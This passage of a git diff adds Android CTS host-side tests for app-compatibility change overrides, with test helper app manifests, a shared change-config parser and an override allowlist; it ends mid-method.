new file mode 100644
index 0000000..27cef40
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat.compatchanges;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.Context;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
+ *
+ * These test methods have additional setup and post run checks done host side by
+ * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
+ *
+ * The setup adds an override for the change id being tested, and the post run step checks if
+ * that change id has been logged to statsd.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class CompatChangesTest {
+  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
+  @Before
+  public void setUp() {
+    InstrumentationRegistry.getInstrumentation().getUiAutomation()
+      .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+                                    Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
+  }
+
+  @After
+  public void tearDown() {
+    InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
+  @Test
+  public void isChangeEnabled_changeEnabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
+  @Test
+  public void isChangeEnabledPackageName_changeEnabled() {
+    Context context = InstrumentationRegistry.getTargetContext();
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+            context.getUser())).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
+  @Test
+  public void isChangeEnabledUid_changeEnabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
+  @Test
+  public void isChangeEnabled_changeDisabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
+  @Test
+  public void isChangeEnabledPackageName_changeDisabled() {
+    Context context = InstrumentationRegistry.getTargetContext();
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+            context.getUser())).isFalse();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
+  @Test
+  public void isChangeEnabledUid_changeDisabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
+  }
+}
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
new file mode 100644
index 0000000..0353cb7
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -0,0 +1,81 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library_static {
+    name: "pre_install_override_lib",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
new file mode 100644
index 0000000..ce8a215
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application  android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
new file mode 100644
index 0000000..10c39ac
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
new file mode 100644
index 0000000..cce0eba
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
new file mode 100644
index 0000000..7519ce0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
new file mode 100644
index 0000000..45596d8
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appcompat.preinstalloverride;
+
+import android.app.Activity;
+
+public class EmptyActivity extends Activity {
+
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
new file mode 100644
index 0000000..bf5e4d5
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeThat;
+
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import java.util.List;
+
+public final class CompatChangesPreInstallOverrideTest extends CompatChangeGatingTestCase {
+    private static final String TEST_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
+    private static final String CTS_CHANGE_ID_NAME = "CTS_SYSTEM_API_CHANGEID";
+    private static final long CTS_CHANGE_ID = 149391281L;
+
+    @Override
+    protected void setUp() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 1");
+    }
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0");
+    }
+
+    public void testDeferEnablingChangeIdAppNotInstalled() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasRawOverrides).isTrue();
+            assertThat(ctsChange.rawOverrideStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasRawOverrides).isTrue();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideRemainsDeferredPostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasRawOverrides).isTrue();
+            assertThat(ctsChange.rawOverrideStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostUpdate() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+            installPackage("appcompat_preinstall_override_versioncode2_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasRawOverrides).isTrue();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testOverrideBecomesDeferredPostUpdate() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode2_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasRawOverrides).isTrue();
+            assertThat(ctsChange.rawOverrideStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    private Change getCtsChange() throws Exception {
+        List<Change> allChanges = getOnDeviceCompatConfig();
+        for (Change change : allChanges) {
+            if (change.changeId == CTS_CHANGE_ID) {
+                return change;
+            }
+        }
+        return null;
+    }
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
index 2f8790f..4316626 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
@@ -34,7 +34,7 @@
 public class CompatChangesSystemApiTest extends CompatChangeGatingTestCase {
 
     protected static final String TEST_APK = "CtsHostsideCompatChangeTestsApp.apk";
-    protected static final String TEST_PKG = "com.android.cts.appcompat";
+    protected static final String TEST_PKG = "com.android.cts.appcompat.compatchanges";
 
     private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
 
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index f8f4ccd..ef53750 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -18,16 +18,17 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.google.common.collect.ImmutableSet;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
-import java.util.Objects;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
+import java.util.Set;
 
-import android.compat.cts.CompatChangeGatingTestCase;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
 
 import org.w3c.dom.Document;
 import org.w3c.dom.Element;
@@ -35,153 +36,33 @@
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-
 public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCase {
 
-    private static class Change {
-        private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
-                                                + "(; name=(?<changeName>[^;]+))?"
-                                                + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
-                                                + "(; (?<disabled>disabled))?"
-                                                + "(; (?<loggingOnly>loggingOnly))?"
-                                                + "(; packageOverrides=(?<overrides>[^\\)]+))?"
-                                                + "\\)");
-        long changeId;
-        String changeName;
-        int sinceSdk;
-        boolean disabled;
-        boolean loggingOnly;
-        boolean hasOverrides;
+    private static final Set<String> OVERRIDES_ALLOWLIST = ImmutableSet.of(
+        // This change id will sometimes remain enabled if an instrumentation test fails.
+        "ALLOW_TEST_API_ACCESS"
+    );
 
-        private Change(long changeId, String changeName, int sinceSdk,
-                boolean disabled, boolean loggingOnly, boolean hasOverrides) {
-            this.changeId = changeId;
-            this.changeName = changeName;
-            this.sinceSdk = sinceSdk;
-            this.disabled = disabled;
-            this.loggingOnly = loggingOnly;
-            this.hasOverrides = hasOverrides;
-        }
-
-        static Change fromString(String line) {
-            long changeId = 0;
-            String changeName;
-            int sinceSdk = -1;
-            boolean disabled = false;
-            boolean loggingOnly = false;
-            boolean hasOverrides = false;
-
-            Matcher matcher = CHANGE_REGEX.matcher(line);
-            if (!matcher.matches()) {
-                throw new RuntimeException("Could not match line " + line);
+    /**
+     * Check that there are no overrides.
+     */
+    public void testNoOverrides() throws Exception {
+        for (Change c : getOnDeviceCompatConfig()) {
+            if (!OVERRIDES_ALLOWLIST.contains(c.changeName)) {
+                assertThat(c.hasOverrides).isFalse();
             }
-
-            try {
-                changeId = Long.parseLong(matcher.group("changeId"));
-            } catch (NumberFormatException e) {
-                throw new RuntimeException("No or invalid changeId!", e);
-            }
-            changeName = matcher.group("changeName");
-            String sinceSdkAsString = matcher.group("sinceSdk");
-            if (sinceSdkAsString != null) {
-                try {
-                    sinceSdk = Integer.parseInt(sinceSdkAsString);
-                } catch (NumberFormatException e) {
-                    throw new RuntimeException("Invalid sinceSdk for change!", e);
-                }
-            }
-            if (matcher.group("disabled") != null) {
-                disabled = true;
-            }
-            if (matcher.group("loggingOnly") != null) {
-                loggingOnly = true;
-            }
-            if (matcher.group("overrides") != null) {
-                hasOverrides = true;
-            }
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-
-        static Change fromNode(Node node) {
-            Element element = (Element) node;
-            long changeId = Long.parseLong(element.getAttribute("id"));
-            String changeName = element.getAttribute("name");
-            int sinceSdk = -1;
-            if (element.hasAttribute("enableAfterTargetSdk")
-                && element.hasAttribute("enableSinceTargetSdk")) {
-                    throw new IllegalArgumentException("Invalid change node!"
-                    + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
-            }
-            if (element.hasAttribute("enableAfterTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
-            }
-            if (element.hasAttribute("enableSinceTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
-            }
-            boolean disabled = false;
-            if (element.hasAttribute("disabled")) {
-                disabled = true;
-            }
-            boolean loggingOnly = false;
-            if (element.hasAttribute("loggingOnly")) {
-                loggingOnly = true;
-            }
-            boolean hasOverrides = false;
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-        @Override
-        public int hashCode() {
-            return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
-        }
-        @Override
-        public boolean equals(Object other) {
-            if (this == other) {
-                return true;
-            }
-            if (other == null || !(other instanceof Change)) {
-                return false;
-            }
-            Change that = (Change) other;
-            return this.changeId == that.changeId
-                && Objects.equals(this.changeName, that.changeName)
-                && this.sinceSdk == that.sinceSdk
-                && this.disabled == that.disabled
-                && this.loggingOnly == that.loggingOnly
-                && this.hasOverrides == that.hasOverrides;
-        }
-        @Override
-        public String toString() {
-            final StringBuilder sb = new StringBuilder();
-            sb.append("ChangeId(" + changeId);
-            if (changeName != null && !changeName.isEmpty()) {
-                sb.append("; name=" + changeName);
-            }
-            if (sinceSdk != 0) {
-                sb.append("; enableSinceTargetSdk=" + sinceSdk);
-            }
-            if (disabled) {
-                sb.append("; disabled");
-            }
-            if (hasOverrides) {
-                sb.append("; packageOverrides={something}");
-            }
-            sb.append(")");
-            return sb.toString();
         }
     }
 
     /**
-     * Get the on device compat config.
+     * Check that the on device config contains all the expected change ids defined in the platform.
+     * The device may contain extra changes, but none may be removed.
      */
-    private List<Change> getOnDeviceCompatConfig() throws Exception {
-        String config = runCommand("dumpsys platform_compat");
-        return Arrays.stream(config.split("\n"))
-                .map(Change::fromString)
-                .collect(Collectors.toList());
+    public void testDeviceContainsExpectedConfig() throws Exception {
+        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
     }
 
+
     /**
      * Parse the expected (i.e. defined in platform) config xml.
      */
@@ -202,21 +83,4 @@
         return changes;
     }
 
-    /**
-     * Check that there are no overrides.
-     */
-    public void testNoOverrides() throws Exception {
-        for (Change c : getOnDeviceCompatConfig()) {
-            assertThat(c.hasOverrides).isFalse();
-        }
-    }
-
-    /**
-     * Check that the on device config contains all the expected change ids defined in the platform.
-     * The device may contain extra changes, but none may be removed.
-     */
-    public void testDeviceContainsExpectedConfig() throws Exception {
-        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
-    }
-
 }
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 80be793..8f44487 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "CompatChangeGatingTestBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
new file mode 100644
index 0000000..a91d56a
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.cts;
+
+import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+public class Change {
+    private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
+                                            + "(; name=(?<changeName>[^;]+))?"
+                                            + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
+                                            + "(; (?<disabled>disabled))?"
+                                            + "(; (?<loggingOnly>loggingOnly))?"
+                                            + "(; packageOverrides=(?<overrides>[^\\);]+))?"
+                                            + "(; rawOverrides=(?<rawOverrides>[^\\);]+))?"
+                                            + "(; (?<overridable>overridable))?"
+                                            + "\\)");
+    public long changeId;
+    public String changeName;
+    public int sinceSdk;
+    public boolean disabled;
+    public boolean loggingOnly;
+    public boolean hasRawOverrides;
+    public boolean hasOverrides;
+
+    public String rawOverrideStr;
+    public String overridesStr;
+
+    private Change(long changeId, String changeName, int sinceSdk,
+            boolean disabled, boolean loggingOnly, boolean hasRawOverrides,
+            boolean hasOverrides, String rawOverrideStr,
+            String overridesStr) {
+        this.changeId = changeId;
+        this.changeName = changeName;
+        this.sinceSdk = sinceSdk;
+        this.disabled = disabled;
+        this.loggingOnly = loggingOnly;
+        this.hasRawOverrides = hasRawOverrides;
+        this.hasOverrides = hasOverrides;
+        this.rawOverrideStr = rawOverrideStr;
+        this.overridesStr = overridesStr;
+    }
+
+    public static Change fromString(String line) {
+        long changeId = 0;
+        String changeName;
+        int sinceSdk = -1;
+        boolean disabled = false;
+        boolean loggingOnly = false;
+        boolean hasRawOverrides = false;
+        boolean hasOverrides = false;
+
+        String rawOverridesStr = null;
+        String overridesStr = null;
+
+        Matcher matcher = CHANGE_REGEX.matcher(line);
+        if (!matcher.matches()) {
+            throw new RuntimeException("Could not match line " + line);
+        }
+
+        try {
+            changeId = Long.parseLong(matcher.group("changeId"));
+        } catch (NumberFormatException e) {
+            throw new RuntimeException("No or invalid changeId!", e);
+        }
+        changeName = matcher.group("changeName");
+        String sinceSdkAsString = matcher.group("sinceSdk");
+        if (sinceSdkAsString != null) {
+            try {
+                sinceSdk = Integer.parseInt(sinceSdkAsString);
+            } catch (NumberFormatException e) {
+                throw new RuntimeException("Invalid sinceSdk for change!", e);
+            }
+        }
+        if (matcher.group("disabled") != null) {
+            disabled = true;
+        }
+        if (matcher.group("loggingOnly") != null) {
+            loggingOnly = true;
+        }
+        if (matcher.group("overrides") != null) {
+            hasOverrides = true;
+            overridesStr = matcher.group("overrides");
+        }
+        if (matcher.group("rawOverrides") != null) {
+            hasRawOverrides = true;
+            rawOverridesStr = matcher.group("rawOverrides");
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly,
+                          hasRawOverrides, hasOverrides, rawOverridesStr,
+                          overridesStr);
+    }
+
+    public static Change fromNode(Node node) {
+        Element element = (Element) node;
+        long changeId = Long.parseLong(element.getAttribute("id"));
+        String changeName = element.getAttribute("name");
+        int sinceSdk = -1;
+        if (element.hasAttribute("enableAfterTargetSdk")
+            && element.hasAttribute("enableSinceTargetSdk")) {
+                throw new IllegalArgumentException("Invalid change node!"
